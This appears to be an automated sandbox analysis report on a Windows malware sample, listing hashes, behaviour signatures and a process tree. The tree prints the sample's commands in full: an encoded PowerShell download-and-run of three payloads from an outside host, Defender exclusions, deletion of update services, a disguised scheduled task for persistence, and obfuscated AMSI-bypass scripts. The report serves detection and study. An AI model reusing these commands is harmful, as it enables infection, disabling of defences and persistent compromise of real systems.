Analysis

  • max time kernel
    68s
  • max time network
    77s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/02/2023, 19:07

General

  • Target

    9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe

  • Size

    898KB

  • MD5

    59b4067b2e46f3e782f55c124f85c58e

  • SHA1

    9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4

  • SHA256

    091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4

  • SHA512

    88f1850824cab573b07810568f9068bfdda4e949e29139dba3829ecade9ab7c11ea9359e2b78379774a8acbfeea032c6ffba100dec370f7447ec463f939d63d8

  • SSDEEP

    3072:1L1hinzhEGbhWj/hGqHkSwWgEFZqvyXipmS6RIguAg0FujD0Qth7CTEzc:1LezhHE1GqESwBlvyyQ8AOc+tCTAc

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 3 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:644
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:588
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{5732c171-0de4-4399-baef-8040da15f007}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3620
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:924
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
            PID:3036
            • C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
              "C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1056
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4372
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
                  4⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2392
                  • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                    "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:616
                  • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                    5⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4980
                  • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                    "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4936
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 240
                3⤵
                • Program crash
                PID:1124
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3400
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1120
              • C:\Windows\System32\sc.exe
                sc stop UsoSvc
                3⤵
                • Launches sc.exe
                PID:1920
              • C:\Windows\System32\sc.exe
                sc stop WaaSMedicSvc
                3⤵
                • Launches sc.exe
                PID:1508
              • C:\Windows\System32\sc.exe
                sc stop wuauserv
                3⤵
                • Launches sc.exe
                PID:3384
              • C:\Windows\System32\sc.exe
                sc stop bits
                3⤵
                • Launches sc.exe
                PID:3000
              • C:\Windows\System32\sc.exe
                sc stop dosvc
                3⤵
                • Launches sc.exe
                PID:1456
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                3⤵
                  PID:3680
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                  3⤵
                    PID:3364
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                    3⤵
                    • Modifies security service
                    PID:1136
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                    3⤵
                      PID:1636
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                      3⤵
                        PID:396
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:696
                    • C:\Windows\System32\dialer.exe
                      C:\Windows\System32\dialer.exe
                      2⤵
                        PID:4420
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1056 -ip 1056
                      1⤵
                        PID:3248
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oVjSliaPnejd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pyKvBQBXXDEMte,[Parameter(Position=1)][Type]$BugstHnVKY)$DtgGXcMllUv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+'y'+'p'+''+[Char](101)+'','C'+'l'+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+'e'+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+'i'+'C'+'la'+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+'u'+'t'+''+[Char](111)+''+'C'+''+'l'+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$DtgGXcMllUv.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+'a'+'m'+'e'+''+','+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+','+''+'P'+''+'u'+''+'b'+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$pyKvBQBXXDEMte).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$DtgGXcMllUv.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$BugstHnVKY,$pyKvBQBXXDEMte).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $DtgGXcMllUv.CreateType();}$CWereucCYsOJn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+'e'+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+'.Wi'+'n'+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+'af'+'e'+'CWe'+[Char](114)+''+'e'+'uc'+[Char](67)+''+'Y'+''+[Char](115)+'O'+[Char](74)+''+'n'+'');$zFSGDCMtDlEmKI=$CWereucCYsOJn.GetMethod(''+[Char](122)+''+'F'+'S'+[Char](71)+'D'+[Char](67)+''+[Char](77)+''+[Char](116)+''+[Char](68)+'l'+[Char](69)+'mK'+'I'+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+'t'+'i'+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ARLkDBdEFeuVVnqhYUu=oVjSliaPnejd @([String])([IntPtr]);$nYRHpsJjxanqqrhExZQbhh=oVjSliaPnejd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uoXzjxfKkdO=$CWereucCYsOJn.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+'o'+''+'d'+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'n'+'e'+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$NyCYhIBvCRkrdU=$zFSGDCMtDlEmKI.Invoke($Null,@([Object]$uoXzjxfKkdO,[Object](''+'L'+''+[Char](111)+''+'a'+''+'d'+''+[Char](76)+'ibra'+'r'+''+'y'+'A')));$baCiKjVICDGrepPCe=$zFSGDCMtDlEmKI.Invoke($Null,@([Object]$uoXzjxfKkdO,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+'u'+'a'+''+[Char](108)+''+'P'+''+'r'+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$lvbrirP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NyCYhIBvCRkrdU,$ARLkDBdEFeuVVnqhYUu).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+'.'+[Char](100)+''+[Char](108)+'l');$PTXVbqnMjfADBCflU=$zFSGDCMtDlEmKI.Invoke($Null,@([Object]$lvbrirP,[Object](''+[Char](65)+''+[Char](109)+''+'s'+'i'+'S'+''+[Char](99)+''+[Char](97)+'nB'+'u'+''+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$YgUtFFpoxG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($baCiKjVICDGrepPCe,$nYRHpsJjxanqqrhExZQbhh).Invoke($PTXVbqnMjfADBCflU,[uint32]8,4,[ref]$YgUtFFpoxG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$PTXVbqnMjfADBCflU,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($baCiKjVICDGrepPCe,$nYRHpsJjxanqqrhExZQbhh).Invoke($PTXVbqnMjfADBCflU,[uint32]8,0x20,[ref]$YgUtFFpoxG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4748
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:daEwAOzMGSii{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rEBpmpJxvOSClC,[Parameter(Position=1)][Type]$ZpUJShfzJL)$wCMBpOdCHlQ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+'d'+'u'+''+'l'+'e',$False).DefineType(''+'M'+''+'y'+'D'+[Char](101)+'le'+[Char](103)+''+'a'+''+'t'+''+'e'+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+''+','+'P'+[Char](117)+''+[Char](98)+'lic'+','+''+[Char](83)+''+'e'+''+'a'+''+'l'+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+','+''+'A'+'u'+'t'+'o'+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$wCMBpOdCHlQ.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+'ial'+[Char](78)+'a'+[Char](109)+'e'+','+''+'H'+''+[Char](105)+''+'d'+'e'+'B'+'y'+[Char](83)+''+'i'+'g,'+'P'+'u'+[Char](98)+'li'+'c'+'',[Reflection.CallingConventions]::Standard,$rEBpmpJxvOSClC).SetImplementationFlags('R'+'u'+''+'n'+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+'d');$wCMBpOdCHlQ.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'Hi'+[Char](100)+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'N'+''+'e'+''+[Char](119)+'S'+[Char](108)+'o'+[Char](116)+','+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$ZpUJShfzJL,$rEBpmpJxvOSClC).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $wCMBpOdCHlQ.CreateType();}$ZBqjCiVvflgZz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+'t'+''+[Char](101)+'m'+[Char](46)+''+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+[Char](115)+''+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+'Z'+''+'B'+''+[Char](113)+''+[Char](106)+''+'C'+''+[Char](105)+'V'+[Char](118)+''+'f'+''+'l'+'g'+[Char](90)+'z');$soWOfBJGIgbLFh=$ZBqjCiVvflgZz.GetMethod(''+[Char](115)+''+[Char](111)+'W'+'O'+''+[Char](102)+''+[Char](66)+''+'J'+''+[Char](71)+''+[Char](73)+'gbLF'+[Char](104)+'',[Reflection.BindingFlags]''+'P'+'u'+'b'+'l'+'i'+''+[Char](99)+','+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JgZGOKtbbQcjQfVGPWy=daEwAOzMGSii @([String])([IntPtr]);$ZAAvCQJIVwjFfxGRFCrjUk=daEwAOzMGSii @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eAHLJzgRkof=$ZBqjCiVvflgZz.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+'d'+'u'+'le'+'H'+''+'a'+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+'.'+'d'+''+[Char](108)+''+'l'+'')));$rPfVYtILJkOGTi=$soWOfBJGIgbLFh.Invoke($Null,@([Object]$eAHLJzgRkof,[Object](''+[Char](76)+''+'o'+'adL'+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+''+'A'+'')));$bVFKVlIeEbzftPBCz=$soWOfBJGIgbLFh.Invoke($Null,@([Object]$eAHLJzgRkof,[Object]('V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'P'+'r'+'ot'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$ZLWtiDi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rPfVYtILJkOGTi,$JgZGOKtbbQcjQfVGPWy).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+'l'+'');$AaZslUyBhOrzLqtfN=$soWOfBJGIgbLFh.Invoke($Null,@([Object]$ZLWtiDi,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$WcRffoKntF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bVFKVlIeEbzftPBCz,$ZAAvCQJIVwjFfxGRFCrjUk).Invoke($AaZslUyBhOrzLqtfN,[uint32]8,4,[ref]$WcRffoKntF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AaZslUyBhOrzLqtfN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bVFKVlIeEbzftPBCz,$ZAAvCQJIVwjFfxGRFCrjUk).Invoke($AaZslUyBhOrzLqtfN,[uint32]8,0x20,[ref]$WcRffoKntF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+'W'+'A'+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+'e'+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:3288

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

